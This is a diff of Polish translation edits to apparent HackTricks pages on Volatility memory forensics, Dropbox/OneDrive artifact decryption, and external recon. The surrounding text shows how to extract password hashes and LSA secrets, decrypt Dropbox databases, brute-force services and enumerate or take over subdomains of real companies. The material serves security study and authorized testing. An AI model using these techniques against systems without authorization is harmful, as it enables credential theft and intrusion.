Z: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
@ -108,7 +108,7 @@ volatility kdbgscan -f file.dmp
[**Stąd**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): W przeciwieństwie do imageinfo, które po prostu dostarcza sugestie dotyczące profilu, **kdbgscan** jest zaprojektowane do pozytywnej identyfikacji poprawnego profilu i poprawnego adresu KDBG (jeśli występuje ich wiele). Ten plugin skanuje sygnatury KDBGHeader powiązane z profilami Volatility i stosuje kontrole sanity, aby zredukować fałszywe pozytywy. Szczegółowość wyjścia i liczba kontroli sanity, które można przeprowadzić, zależy od tego, czy Volatility może znaleźć DTB, więc jeśli już znasz poprawny profil (lub jeśli masz sugestię profilu z imageinfo), upewnij się, że go używasz.
Zawsze zwracaj uwagę na **liczbę procesów, które znalazł kdbgscan**. Czasami imageinfo i kdbgscan mogą znaleźć **więcej niż jeden** odpowiedni **profil**, ale tylko **ważny będzie miał jakieś powiązane procesy** (To dlatego, że do wyodrębnienia procesów potrzebny jest poprawny adres KDBG).
Zawsze zwracaj uwagę na **liczbę procesów, które znalazł kdbgscan**. Czasami imageinfo i kdbgscan mogą znaleźć **więcej niż jeden** odpowiedni **profil**, ale tylko **ważny będzie miał jakieś powiązane procesy** (Dzieje się tak, ponieważ do wyodrębnienia procesów potrzebny jest poprawny adres KDBG).
```bash
# GOOD
PsActiveProcessHead : 0xfffff800011977f0 (37 processes)
@ -131,9 +131,9 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
```
Plugin `banners.Banners` może być użyty w **vol3, aby spróbować znaleźć bannery linuxowe** w zrzucie.
## Hashes/Hasła
## Hashe/Hasła
Wyodrębnij hashe SAM, [pamiętane poświadczenia domeny](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) i [sekrety lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
Wyodrębnij hashe SAM, [pamiętane poświadczenia domeny](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) oraz [sekrety lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/index.html#lsa-secrets).
{{#tabs}}
{{#tab name="vol3"}}
@ -163,7 +163,7 @@ volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
### Lista procesów
Spróbuj znaleźć **podejrzane** procesy (po nazwie) lub **nieoczekiwane** procesy potomne (na przykład cmd.exe jako proces potomny iexplorer.exe).\
Spróbuj znaleźć **podejrzane** procesy (po nazwie) lub **nieoczekiwane** procesy **dzieci** (na przykład cmd.exe jako dziecko iexplorer.exe).\
Może być interesujące, aby **porównać** wynik pslist z wynikiem psscan, aby zidentyfikować ukryte procesy.
{{#tabs}}
@ -201,9 +201,9 @@ volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f fil
{{#endtab}}
{{#endtabs}}
### Linia poleceń
### Wiersz poleceń
Czy coś podejrzanego zostało wykonane?
Czy wykonano coś podejrzanego?
{{#tabs}}
{{#tab name="vol3"}}
@ -220,11 +220,11 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f
{{#endtab}}
{{#endtabs}}
Polecenia wykonywane w `cmd.exe` są zarządzane przez **`conhost.exe`** (lub `csrss.exe` w systemach przed Windows 7). Oznacza to, że jeśli **`cmd.exe`** zostanie zakończone przez atakującego przed uzyskaniem zrzutu pamięci, nadal możliwe jest odzyskanie historii poleceń sesji z pamięci **`conhost.exe`**. Aby to zrobić, jeśli w modułach konsoli wykryto nietypową aktywność, pamięć powiązanego procesu **`conhost.exe`** powinna zostać zrzutowana. Następnie, przeszukując **strings** w tym zrzucie, można potencjalnie wyodrębnić linie poleceń używane w sesji.
Polecenia wykonywane w `cmd.exe` są zarządzane przez **`conhost.exe`** (lub `csrss.exe` w systemach przed Windows 7). Oznacza to, że jeśli **`cmd.exe`** zostanie zakończone przez atakującego przed uzyskaniem zrzutu pamięci, nadal możliwe jest odzyskanie historii poleceń sesji z pamięci **`conhost.exe`**. Aby to zrobić, jeśli w modułach konsoli wykryto nietypową aktywność, pamięć powiązanego procesu **`conhost.exe`** powinna zostać zrzutowana. Następnie, przeszukując **ciągi** w tym zrzucie, można potencjalnie wyodrębnić linie poleceń używane w sesji.
### Środowisko
Uzyskaj zmienne env każdego uruchomionego procesu. Mogą istnieć interesujące wartości.
Uzyskaj zmienne środowiskowe każdego uruchomionego procesu. Mogą istnieć interesujące wartości.
{{#tabs}}
{{#tab name="vol3"}}
@ -270,7 +270,7 @@ volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePri
### SIDs
Sprawdź każdy SSID posiadany przez proces.\
Może być interesujące, aby wymienić procesy używające SID z uprawnieniami (oraz procesy używające SID usługi).
Może być interesujące, aby wymienić procesy używające SID z uprawnieniami (oraz procesy używające SID usługi).
{{#tabs}}
{{#tab name="vol3"}}
@ -366,7 +366,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3
### UserAssist
**Windows** śledzi programy, które uruchamiasz, za pomocą funkcji w rejestrze zwanej **kluczami UserAssist**. Te klucze rejestrują, ile razy każdy program został uruchomiony i kiedy był ostatnio uruchamiany.
**Windows** śledzi programy, które uruchamiasz, za pomocą funkcji w rejestrze zwanej **UserAssist keys**. Te klucze rejestrują, ile razy każdy program został uruchomiony i kiedy był ostatnio uruchamiany.
{{#tabs}}
{{#tab name="vol3"}}
@ -595,7 +595,7 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers
### Skanowanie z yara
Użyj tego skryptu, aby pobrać i połączyć wszystkie zasady malware yara z github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Utwórz katalog _**rules**_ i uruchom go. To stworzy plik _**malware_rules.yar**_, który zawiera wszystkie zasady yara dla malware.
Utwórz katalog _**rules**_ i uruchom go. To stworzy plik o nazwie _**malware_rules.yar**_, który zawiera wszystkie zasady yara dla malware.
{{#tabs}}
{{#tab name="vol3"}}
@ -624,7 +624,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp |
### Zewnętrzne wtyczki
Jeśli chcesz używać zewnętrznych wtyczek, upewnij się, że foldery związane z wtyczkami są pierwszym parametrem używanym.
Jeśli chcesz używać zewnętrznych wtyczek, upewnij się, że foldery związane z wtyczkami są pierwszym parametrem użytym.
{{#tabs}}
{{#tab name="vol3"}}
@ -694,7 +694,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash
{{#endtab}}
{{#endtabs}}
### Oś czasu
### Oś Czasu
{{#tabs}}
{{#tab name="vol3"}}
@ -746,11 +746,11 @@ volatility --profile=Win7SP1x86_23418 notepad -f file.dmp
#Just vol2
volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp
```
### Master Boot Record (MBR)
### Mistrzowski Rekord Rozruchowy (MBR)
```bash
volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp
```
**Master Boot Record (MBR)** odgrywa kluczową rolę w zarządzaniu logicznymi partycjami nośnika, które są strukturalnie zorganizowane w różne [systemy plików](https://en.wikipedia.org/wiki/File_system). Nie tylko przechowuje informacje o układzie partycji, ale także zawiera kod wykonywalny działający jako program rozruchowy. Ten program rozruchowy albo bezpośrednio inicjuje proces ładowania drugiego etapu systemu operacyjnego (zobacz [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)), albo współpracuje z [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) każdej partycji. Aby uzyskać szczegółowe informacje, zapoznaj się z [stroną Wikipedii o MBR](https://en.wikipedia.org/wiki/Master_boot_record).
**Master Boot Record (MBR)** odgrywa kluczową rolę w zarządzaniu logicznymi partycjami nośnika, które są strukturalnie zorganizowane w różne [file systems](https://en.wikipedia.org/wiki/File_system). Nie tylko przechowuje informacje o układzie partycji, ale także zawiera kod wykonywalny działający jako boot loader. Ten boot loader albo bezpośrednio inicjuje proces ładowania drugiego etapu systemu operacyjnego (zobacz [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)), albo współpracuje z [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) każdej partycji. Aby uzyskać szczegółowe informacje, zapoznaj się z [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record).
## References

View File

@ -2,7 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## OneDrive
W systemie Windows folder OneDrive można znaleźć w `\Users\<username>\AppData\Local\Microsoft\OneDrive`. A wewnątrz `logs\Personal` można znaleźć plik `SyncDiagnostics.log`, który zawiera interesujące dane dotyczące zsynchronizowanych plików:
@ -57,17 +56,17 @@ Jednak główne informacje to:
Oprócz tych informacji, aby odszyfrować bazy danych, potrzebujesz jeszcze:
- **szyfrowanego klucza DPAPI**: Można go znaleźć w rejestrze w `NTUSER.DAT\Software\Dropbox\ks\client` (wyeksportuj te dane jako binarne)
- **hive'ów `SYSTEM`** i **`SECURITY`**
- **kluczy głównych DPAPI**: Które można znaleźć w `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- **hivów `SYSTEM`** i **`SECURITY`**
- **głównych kluczy DPAPI**: Które można znaleźć w `\Users\<username>\AppData\Roaming\Microsoft\Protect`
- **nazwa użytkownika** i **hasło** użytkownika systemu Windows
Następnie możesz użyć narzędzia [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
![](<../../../images/image (443).png>)
Jeśli wszystko pójdzie zgodnie z planem, narzędzie wskaże **klucz główny**, który musisz **użyć do odzyskania oryginalnego**. Aby odzyskać oryginalny, wystarczy użyć tego [przepisu cyber_chef](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) wstawiając klucz główny jako "hasło" w przepisie.
Jeśli wszystko pójdzie zgodnie z oczekiwaniami, narzędzie wskaże **klucz główny**, który musisz **użyć, aby odzyskać oryginalny**. Aby odzyskać oryginalny klucz, wystarczy użyć tego [przepisu cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) wstawiając klucz główny jako "hasło" w przepisie.
Otrzymany hex to końcowy klucz używany do szyfrowania baz danych, który można odszyfrować za pomocą:
Ostateczny hex to klucz końcowy użyty do szyfrowania baz danych, który można odszyfrować za pomocą:
```bash
sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db
```
@ -76,12 +75,12 @@ Baza danych **`config.dbx`** zawiera:
- **Email**: Email użytkownika
- **usernamedisplayname**: Nazwa użytkownika
- **dropbox_path**: Ścieżka, w której znajduje się folder dropbox
- **Host_id: Hash** używany do uwierzytelniania w chmurze. Może być odwołany tylko z poziomu sieci.
- **Host_id: Hash** używany do uwierzytelniania w chmurze. Może być cofnięty tylko z poziomu sieci.
- **Root_ns**: Identyfikator użytkownika
Baza danych **`filecache.db`** zawiera informacje o wszystkich plikach i folderach zsynchronizowanych z Dropbox. Tabela `File_journal` zawiera najwięcej przydatnych informacji:
- **Server_path**: Ścieżka, w której znajduje się plik na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
- **Server_path**: Ścieżka, w której plik znajduje się na serwerze (ta ścieżka jest poprzedzona `host_id` klienta).
- **local_sjid**: Wersja pliku
- **local_mtime**: Data modyfikacji
- **local_ctime**: Data utworzenia

View File

@ -16,7 +16,7 @@ Celem tej fazy jest uzyskanie wszystkich **firm należących do głównej firmy*
### **Przejęcia**
Przede wszystkim musimy wiedzieć, które **inne firmy są własnością głównej firmy**.\
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukiwanie** głównej firmy i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy nabyte przez główną.\
Jedną z opcji jest odwiedzenie [https://www.crunchbase.com/](https://www.crunchbase.com), **wyszukiwanie** **głównej firmy** i **kliknięcie** na "**przejęcia**". Tam zobaczysz inne firmy nabyte przez główną.\
Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukiwanie **przejęć**.
> Ok, w tym momencie powinieneś znać wszystkie firmy w zakresie. Dowiedzmy się, jak znaleźć ich zasoby.
@ -26,9 +26,9 @@ Inną opcją jest odwiedzenie strony **Wikipedia** głównej firmy i wyszukiwani
Numer systemu autonomicznego (**ASN**) to **unikalny numer** przypisany do **systemu autonomicznego** (AS) przez **Internet Assigned Numbers Authority (IANA)**.\
**AS** składa się z **bloków** **adresów IP**, które mają wyraźnie zdefiniowaną politykę dostępu do zewnętrznych sieci i są zarządzane przez jedną organizację, ale mogą składać się z kilku operatorów.
Interesujące jest sprawdzenie, czy **firma przypisała jakikolwiek ASN**, aby znaleźć jej **zakresy IP.** Warto przeprowadzić **test podatności** na wszystkich **hostach** w **zakresie** i **szukać domen** w tych IP.\
Interesujące jest sprawdzenie, czy **firma przypisała jakikolwiek ASN**, aby znaleźć jej **zakresy IP.** Warto przeprowadzić **test podatności** na wszystkie **hosty** w **zakresie** i **szukać domen** w tych IP.\
Możesz **wyszukiwać** według **nazwa firmy**, według **IP** lub według **domeny** w [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**W zależności od regionu firmy, te linki mogą być przydatne do zebrania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku.
**W zależności od regionu firmy, te linki mogą być przydatne do zbierania dodatkowych danych:** [**AFRINIC**](https://www.afrinic.net) **(Afryka),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Ameryka Północna),** [**APNIC**](https://www.apnic.net) **(Azja),** [**LACNIC**](https://www.lacnic.net) **(Ameryka Łacińska),** [**RIPE NCC**](https://www.ripe.net) **(Europa). W każdym razie, prawdopodobnie wszystkie** przydatne informacje **(zakresy IP i Whois)** pojawiają się już w pierwszym linku.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -56,9 +56,9 @@ Możesz znaleźć IP i ASN domeny używając [http://ipv4info.com/](http://ipv4i
### **Szukając luk w zabezpieczeniach**
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** brute force'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Na tym etapie znamy **wszystkie zasoby w zakresie**, więc jeśli masz na to pozwolenie, możesz uruchomić jakiś **skaner luk** (Nessus, OpenVAS) na wszystkich hostach.\
Możesz również przeprowadzić [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **lub użyć usług takich jak** shodan **aby znaleźć** otwarte porty **i w zależności od tego, co znajdziesz, powinieneś** zajrzeć do tej książki, aby dowiedzieć się, jak przeprowadzić pentesting różnych możliwych usług.\
**Warto również wspomnieć, że możesz przygotować kilka** domyślnych nazw użytkowników **i** haseł **i spróbować** bruteforce'ować usługi za pomocą [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeny
@ -82,7 +82,7 @@ Możesz również użyć narzędzia online do uzyskania tych informacji: [http:/
### **Reverse Whois (loop)**
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
W **whois** możesz znaleźć wiele interesujących **informacji**, takich jak **nazwa organizacji**, **adres**, **emaile**, numery telefonów... Ale co jest jeszcze bardziej interesujące, to to, że możesz znaleźć **więcej zasobów związanych z firmą**, jeśli wykonasz **odwrócone zapytania whois według dowolnego z tych pól** (na przykład inne rejestry whois, w których pojawia się ten sam email).\
Możesz użyć narzędzi online, takich jak:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Darmowe**
@ -122,7 +122,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
Mówiąc prosto, favihash pozwoli nam odkryć domeny, które mają ten sam hash ikony favicon co nasz cel.
Co więcej, możesz również wyszukiwać technologie, używając hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash ikony favicon podatnej wersji technologii webowej**, możesz wyszukiwać w shodan i **znaleźć więcej podatnych miejsc**:
Co więcej, możesz również wyszukiwać technologie, używając hasha favicon, jak wyjaśniono w [**tym wpisie na blogu**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Oznacza to, że jeśli znasz **hash ikony favicon wrażliwej wersji technologii webowej**, możesz wyszukiwać w shodan i **znaleźć więcej wrażliwych miejsc**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
@ -150,16 +150,16 @@ Często występuje zadanie cron, takie jak
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
aby odnowić wszystkie certyfikaty domen na serwerze. Oznacza to, że nawet jeśli CA użyta do tego nie ustawia czasu, w którym została wygenerowana w czasie ważności, możliwe jest **znalezienie domen należących do tej samej firmy w logach przejrzystości certyfikatów**.\
aby odnowić wszystkie certyfikaty domen na serwerze. Oznacza to, że nawet jeśli CA użyta do tego nie ustawia czasu, w którym został wygenerowany w czasie ważności, możliwe jest **znalezienie domen należących do tej samej firmy w logach przejrzystości certyfikatów**.\
Sprawdź ten [**artykuł, aby uzyskać więcej informacji**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Informacje o DMARC w mailach
Możesz użyć strony takiej jak [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) lub narzędzia takiego jak [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), aby znaleźć **domeny i subdomeny dzielące te same informacje DMARC**.
Możesz użyć strony internetowej takiej jak [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) lub narzędzia takiego jak [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains), aby znaleźć **domeny i subdomeny dzielące te same informacje DMARC**.
### **Pasywne przejęcie**
Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego po prostu **uruchamiając VM** w chmurze (takiej jak Digital Ocean) faktycznie **przejmujesz niektóre subdomeny**.
Wygląda na to, że powszechne jest przypisywanie subdomen do adresów IP należących do dostawców chmury i w pewnym momencie **utrata tego adresu IP, ale zapomnienie o usunięciu rekordu DNS**. Dlatego wystarczy **uruchomić VM** w chmurze (takiej jak Digital Ocean), aby faktycznie **przejąć niektóre subdomeny**.
[**Ten post**](https://kmsec.uk/blog/passive-takeover/) wyjaśnia historię na ten temat i proponuje skrypt, który **uruchamia VM w DigitalOcean**, **uzyskuje** **IPv4** nowej maszyny i **wyszukuje w Virustotal rekordy subdomen** wskazujące na nią.
@ -181,7 +181,7 @@ Możesz uzyskać dostęp do **certyfikatu TLS** głównej strony internetowej, u
Sprawdź niektóre [przejęcia domen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Może jakaś firma **używa jakiejś domeny**, ale **straciła jej własność**. Po prostu zarejestruj ją (jeśli jest wystarczająco tania) i daj znać firmie.
Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
&#xNAN;_&#x4E;ote, że czasami domena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
## Subdomeny
@ -191,7 +191,7 @@ Jeśli znajdziesz jakąkolwiek **domenę z adresem IP różnym** od tych, które
Czas znaleźć wszystkie możliwe subdomeny każdej znalezionej domeny.
> [!TIP]
> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen
> Zauważ, że niektóre narzędzia i techniki do znajdowania domen mogą również pomóc w znajdowaniu subdomen.
### **DNS**
@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
**inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio specjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znajdowania, takie jak:
**inne interesujące narzędzia/API**, które, nawet jeśli nie są bezpośrednio wyspecjalizowane w znajdowaniu subdomen, mogą być przydatne do ich znajdowania, takie jak:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Używa API [https://sonar.omnisint.io](https://sonar.omnisint.io) do uzyskiwania subdomen
```bash
@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
- [**gau**](https://github.com/lc/gau)**:** pobiera znane adresy URL z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny.
- [**gau**](https://github.com/lc/gau)**:** pobiera znane URL-e z Open Threat Exchange AlienVault, Wayback Machine i Common Crawl dla dowolnej domeny.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do brutalnego wymuszania nazw domen asynchronicznie.
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) używa asyncio do asynchronicznego łamania nazw domen.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -370,7 +370,7 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
- [**gotator**](https://github.com/Josue87/gotator)**:** Podane domeny i subdomeny generują permutacje. Jeśli nie wskazano pliku z permutacjami, gotator użyje swojego własnego.
- [**gotator**](https://github.com/Josue87/gotator)**:** Podając domeny i subdomeny, generuje permutacje. Jeśli nie wskazano pliku z permutacjami, gotator użyje swojego własnego.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to fuzzer do brutalnego wymuszania subdomen, połączony z niezwykle prostym, ale skutecznym algorytmem opartym na odpowiedziach DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozszerzać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ to narzędzie do brutalnego ataku na subdomeny, połączone z niezwykle prostym, ale skutecznym algorytmem opartym na odpowiedziach DNS. Wykorzystuje dostarczony zestaw danych wejściowych, takich jak dostosowana lista słów lub historyczne rekordy DNS/TLS, aby dokładnie syntetyzować więcej odpowiadających nazw domen i rozszerzać je jeszcze bardziej w pętli na podstawie informacji zebranych podczas skanowania DNS.
```
echo www | subzuf facebook.com
```
@ -440,25 +440,25 @@ VHostScan -t example.com
### **CORS Brute Force**
Czasami znajdziesz strony, które zwracają tylko nagłówek _**Access-Control-Allow-Origin**_, gdy w nagłówku _**Origin**_ ustawiona jest ważna domena/poddomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **poddomeny**.
Czasami znajdziesz strony, które zwracają tylko nagłówek _**Access-Control-Allow-Origin**_, gdy w nagłówku _**Origin**_ ustawiona jest prawidłowa domena/poddomena. W tych scenariuszach możesz wykorzystać to zachowanie, aby **odkryć** nowe **poddomeny**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Buckets Brute Force**
### **Brute Force Buckets**
Podczas poszukiwania **subdomen** zwróć uwagę, czy wskazują one na jakikolwiek typ **bucket**, a w takim przypadku [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Również, w tym momencie, gdy będziesz znać wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Również, w tym momencie, gdy znasz już wszystkie domeny w zakresie, spróbuj [**brute force'ować możliwe nazwy bucketów i sprawdzić uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
### **Monitorowanie**
Możesz **monitorować**, czy **nowe subdomeny** danej domeny są tworzone, monitorując **logi przejrzystości certyfikatów** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Szukając luk w zabezpieczeniach**
### **Poszukiwanie luk**
Sprawdź możliwe [**przejęcia subdomen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Jeśli **subdomena** wskazuje na jakiś **bucket S3**, [**sprawdź uprawnienia**](../../network-services-pentesting/pentesting-web/buckets/).
Jeśli znajdziesz jakąkolwiek **subdomenę z innym adresem IP** niż te, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
Jeśli znajdziesz jakąkolwiek **subdomenę z adresem IP różnym** od tych, które już znalazłeś w odkrywaniu zasobów, powinieneś przeprowadzić **podstawowe skanowanie luk** (używając Nessus lub OpenVAS) oraz jakieś [**skanowanie portów**](../pentesting-network/index.html#discovering-hosts-from-the-outside) za pomocą **nmap/masscan/shodan**. W zależności od uruchomionych usług możesz znaleźć w **tej książce kilka sztuczek, aby je "zaatakować"**.\
&#xNAN;_&#x4E;ote, że czasami subdomena jest hostowana w IP, które nie jest kontrolowane przez klienta, więc nie jest w zakresie, bądź ostrożny._
## IPs
@ -472,9 +472,9 @@ Korzystając z usług z poniższych **darmowych API**, możesz również znaleź
Możesz również sprawdzić, które domeny wskazują na konkretny adres IP, używając narzędzia [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Szukając luk w zabezpieczeniach**
### **Poszukiwanie luk**
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki w zabezpieczeniach**.
**Skanuj porty wszystkich IP, które nie należą do CDN** (ponieważ prawdopodobnie nie znajdziesz tam nic interesującego). W odkrytych usługach możesz **znaleźć luki**.
**Znajdź** [**przewodnik**](../pentesting-network/) **na temat skanowania hostów.**
@ -486,15 +486,15 @@ W poprzednich krokach prawdopodobnie już przeprowadziłeś jakieś **recon IP i
Proszę zauważyć, że to będzie **ukierunkowane na odkrywanie aplikacji webowych**, więc powinieneś **przeprowadzić skanowanie luk** i **skanowanie portów** również (**jeśli dozwolone** przez zakres).
